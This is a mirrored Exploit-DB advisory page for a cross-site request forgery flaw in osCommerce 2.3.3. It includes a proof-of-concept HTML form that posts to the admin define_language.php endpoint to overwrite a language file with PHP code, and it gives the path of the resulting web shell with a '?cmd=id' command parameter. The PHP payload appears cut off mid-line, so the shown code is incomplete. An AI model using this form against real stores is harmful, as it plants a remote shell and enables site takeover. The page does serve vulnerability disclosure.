osCommerce – Cross-Site Request Forgery - 体验盒子

作者： Jakub Galczyk

日期： 2013-02-12

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/38309/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

source: https://www.securityfocus.com/bid/57892/info

osCommerce is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests.

Exploiting this issue may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible.

osCommerce 2.3.3 is vulnerable; other versions may also be affected.

The following example data is available:

<form method="post" name="runCSRF"

action="http://www.example.com/catalog/admin/define_language.php?lngdir=english&filename=english/download.php&action=save">

<input type="hidden" name="file_contents"

value="<?php $cmd">

</form>your shell should be here:

catalog/includes/languages/english/download.php?cmd=id<br></body></html>